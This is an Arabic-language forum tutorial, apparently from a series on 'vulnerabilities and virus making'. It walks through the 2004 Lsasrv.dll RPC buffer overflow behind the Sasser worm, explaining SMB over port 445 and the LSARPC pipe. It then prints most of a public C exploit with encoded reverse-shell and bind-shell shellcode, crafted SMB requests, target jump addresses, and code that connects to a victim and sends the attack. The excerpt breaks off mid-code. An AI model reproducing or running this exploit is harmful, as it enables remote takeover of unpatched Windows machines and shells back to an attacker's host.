JAAS

ثغرات الأنظمة وصناعة الفايروسات (نظام وندوز)

27 ردود في هذا الموضوع

السلام عليكم ورحمة الله ,,,

تحدثنا في الدرس السابق عن قواعد إكتشاف الثغرة وعرضنا أبسط مثال في هذا المجال

http://www.arabteam2000-forum.com/index.php?showtopic=55137

أما اليوم سنقوم بدراسة شاملة لثغرة أكتشفت في أنظمة التشغيل وندوز NT

وهي الثغرة : Windows Lsasrv.dll RPC buffer overflow Remote

هذة الثغرة من أخطر الثغرات التي أكتشفت في سنة 2004 وبالتحديد في شهر 4

تم صناعة عشرات الفايروسات لهذة الثغرة ومن أهمها (الدودة ساسر Sasser )

ومن لايعرف ساسر ( أسرع فايروس إنتشاراً بين الأجهزة )

بمجرد وصل الجهاز بالإنترنت - يدخل هذا الفايروس إلى جهازك وينفذ مايريد.

وسنتعرف أيضاً على أشكال أخرى لإستغلال الثغرة يستخدمها المخترقين ومن أهمها

الأداة Netcat : الأداة السحرية لصناعة بروتوكولات التحكم والإرسال بطريقة لاتصدق

الأداة Ethereal : أفضل طريقة لمراقبة بروتوكولات الشبكة وكل بايت يكتب أو يقرأ

الأداة cryptcat : أداة تشفير البيانات المرسلة للحفاظ على السرية

ولحسن الحظ أن هذة الأدوات تعمل على كل أنظمة التشغيل !

بالإضافة إلى أننا سنطلع على المجهود الكبير الذي بذل لإكتشاف هذة الثغرة

وسنتعرف على قاعدة مهمة , وهي:

أن إكتشاف الثغرة شيء صعب ومعقد , ولكن إذا إكتشفتها فإن عملية الدخول إلى أي

جهاز وإختراقة - سيتطلب الموضوع كبسة زر فقط - وسترى الأمثلة في هذا الدرس

-----------------------------------

نبدأ بدراسة الثغرة :

برنامج الأمن في أنظمة وندوز NT هو البرنامج lsass.exe هذا البرنامج يكلفة النظام بالعمل فوق طاقتة

من بداية عملية الإقلاع ومروراً بالإتصالات والشبكات والمستخدمين و.و.. ولذلك فإن هذا البرنامج

لة نصيب الأسد من ثغرات النظام ( تقريباً 80 % من تحديثات النظام تخصص للبرنامج lsass.exe )

الثغرة التي سندرسها اليوم توجد في الملف lsasrv.dll هذا الملف من مجموعة ملفات البرنامج lsass.exe

الملف lsasrv.dll هذا الملف مسؤل عن الإتصالات وعمل بعض الخوادم المهمة والبروتوكولات

عندما يشتغل هذا الملف فإنة يقوم بخلق عدة عمليات أو أنابيب pipe عن طريق بعض الدوال مثل CreateNamedPipe

هذة الأنابيب مسؤلة عن نقل البيانات بين العمليات إما في جهاز واحد أو عدة أجهزة على شبكة

إذاً أول معلومة هي : تبادل البيانات بين أجهزة الشبكة يحدث عن طريق مايعرف بالأنابيب

مايهمنا في هذا الموضوع هو الأنبوب LSARPC وإسمة في الذاكرة

\PIPE\LSARPC

المهم في البرنامج lsass.exe وبالتحديد في المكتبة lsasrv.dll وبالتحديد أكثر في العملية lsarpc

تم إيجاد خطأ وهذا الخطأ أدى إلى وجود ثغرة أدت إلى إختراق الأجهزة ودخول الفايروسات

أولاً سنبدأ بدراسة كود أو دالة الخطأ , وبعد ذلك ندرس طريقة إكتشاف وإستغلال الثغرة

بداية الخطأ يوجد في الدالة المصدرة من المكتبة lsasrv.dll إسم الدالة DsRolerDcAsDc

تحتوي هذة الدالة على كود لكتابة ملف نصي في المسار WINDOWS\Debug\DCPROMO.LOG

يتم ترتيب بيانات هذا الملف بواسطة دالة wvsprintfW (في الأنظمة الأجنبية إسم الدالة vsprintf )

في هذة الدالة وجد الخطأ وصنعت الثغرة ,,, كيف ؟؟

لاحظ الصورة :

FFFun006.gif

البارمتر الأول لهذة الدالة يمثل مخزن بيانات buf والبارمتر الثالث يمثل مصدر البيانات

تمكن المخترقين من إيجاد طريقة لتحميل البارمتر3 للدالة بحجم بيانات أكبر من المخزن buf

ممايؤدي إلى خطأ فيض - مشابهة للمثال الذي تحدثنا عنة في الدرس الأول - وبعد ذلك إدخال shellcode

--

إلى هنا يعتبر إكتشاف خطأ وبداية إكتشاف ثغرة ,, ولكن لاتوجد أي فائدة

ولكي نستفيد من هذا الخطأ يجب أن نجمع معلومات تفصيلية عن الخطأ لكي نعرف كيف نستغلة !

نبدأ بالبحث عن مجال الخطأ ,, أولاً الدالة DsRolerDcAsDc هي إحدى دوال مجموعة DS

هذا المختصر يعني خدمات الدليل Directory Service وهي إحدى مكونات الشبكة !

بالتأكيد مبرمجي المواقع والشبكات يعرفون هذا المصطلح : Active Directory

بكل إختصار DS :

عبارة عن قاعدة بيانات لتحديد وتسهيل الوصول إلى الموارد والمصادر المشتركة بين الأجهزة

مثل الطابعة في شبكة محلية تعتبر مصدر - تحديد صفحة أو ملف في موقع على شبكة الإنترنت

ولكي تجرب بعض إستخدامات هذا الدليل : شغل الدوس وقم بكتابة

net view \\199.1.1.1 لكي تعرض الموارد والمصادر المشتركة في الجهاز(الرقم يمثل ip)

ويمكن أن تستخدم أدوات متطورة لمراقبة كل بايت يكتب أو يقرأ , لاحظ الصورة. :

AAds0x001.gif

الصورة تمثل برنامج أو أداة Ethereal وهي من أهم الأدوات لمراقبة بروتوكولات الشبكة

لتثبيت الأداة يجب ـ تخزين برنامجين :

http://www.ethereal.com/distribution/win32/WinPcap_2_3.exe

http://www.ethereal.com/distribution/win32...etup-0.10.8.exe

-

نلاحظ في الصورة تبادل البيانات والوصول إلى ds عبر منفذ 445

والسؤال الآن , كيف يتم هذا التبادل وكيف يتم الوصو إلى مصادر الشبكة عن بعد ؟!

شغل برنامج الدوس وإكتب الأمر :

net use     \\199.1.1.1\ipc$  "user"

هذا الأمر أو هذا التخطيط يوضح طريقة التبادل وإرسال البيانات

التخطيط يبدأ بعنوان ip و ipc$ يمثل المورد الإداري (خاص بمدراء الشبكة) وبعد ذلك بيانات المستخدم

يتم إرسال هذة المعلومات عبر بروتوكول يسمى SMB إختصار Server Message Blocks

يتم التعامل مع بروتوكول smb عن طريق الرسائل بإستخدام الدالة send

هل جربت يوم إستخدام رسائل أي بروتوكول في البرمجة , مثلاً هل جربت إرسال رسالة إلى بريد

بإستخدام بروتوكول smpt , هل لاحظت طريقة التفاهم مع الخادم عن طريق الرسائل

مثل الرسالة HELO و MAIL FROM: و RCPT TO وغيرها من الأوامر

هل جربت إستخدام بروتوكول ftp وهل رأيت طريقة المخاطبة لكي تحمل أو تخزن ملف.

كل هذة البروتوكولات يتم التعامل معها عن طريق إرسال رسالة أوإرسال طلب وإنتظار الرد

بروتوكول smb يستخدم هذة الرسائل , وتنقسم كل رسالة في هذا البروتوكول إلى 3 أقسام :

معرف الأمر - بارمترات الأمر - معلومات المستخدم

الرسائل في بروتوكول smb مختلفة عن الرسائل في البروتوكولات الأخرى

لأنها قد تعتبر غير مفهومة أو غامضة بالنسبة للمستخدم لأن معرف الأمر عبارة عن رقم بالهكس

وبارمترات الأمر غالبا ماتكون أرقام هكس وحتى معلومات المستخدم , لاحظ هذة الرسالة

00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 ...عےSMBs.... ب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 . ..ے.ع. .....
00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W.....ش..€ں.N

ولكن هذة الرسالة لها معنى إذا ما عرفنا أوامر البروتوكول smb والبارمترات

المهم , المراجع لأوامر البروتوكول smb كثيرة وبالأخص مكتبة مايكروسفت msdn

-----

أهم المعلومات التي ذكرت:

توجد الثغرة في بداخل إحدى دوال DS وبالتحديد في دالة النصوص wvsprintfW

يتم فتح منفذ في الجهاز لخدمات الدليل وإدارة الموارد وهو المنفذ 445

يتم تبادل المعلومات الخاصة بالموارد ومشاركة الملفات عبر بروتوكول smb

مانريدة : الدخول إلى الجهاز بإستخدام بروتوكول smb عن طريق المنفذ 445 وننفذ الدالة wvsprintfW

هذا ماسنقوم بة في القسم 2 ,,, تابع

1

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

الآن ندخل في الموضوع والتطبيق العملي :

سنبدأ بعرض الكود الذي كتب لإستغلال هذة الثغرة من قبل houseofdabus وهو خبير في هذا المجال

وسنقوم ببعض التجارب التطبيقية لكي نفهم الثغرة بشكل أكبر

الكود + shellcode بلغة السي :

#include <windows.h>

#pragma comment(lib, "ws2_32")

// شيل كود عبارة عن برنامج يعيد إصدار ونوع النظام
// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";


// شيل كود عبارة عن برنامج فتح منفذ وإنصات وهو كود الإختراق
// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";




// بقية هذة البيانات لاتعتبر أكواد تنفيذية

// وإنما هي رسائل لبروتوكول SMB


char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";




#define LEN   3500
#define BUFSIZE  2000
#define NOP  0x90

struct targets {

intnum;
charname[50];
longjmpaddr;

} ttarget[]= {

{ 0, "WinXP Professional    [universal] lsass.exe ",0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional    [universal] netrap.dll",0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4]       netrap.dll",0x751c123c }, // jmp ebx addr
//{ 3, "reboot",0xffffffff }, // crash
{ NULL }

};

void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf("%d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf("-t:Detect remote OS:\n");
printf("Windows 5.1 - WinXP\n");
printf("Windows 5.0 - Win2k\n\n");
exit(0);
}



int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;


printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");


if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
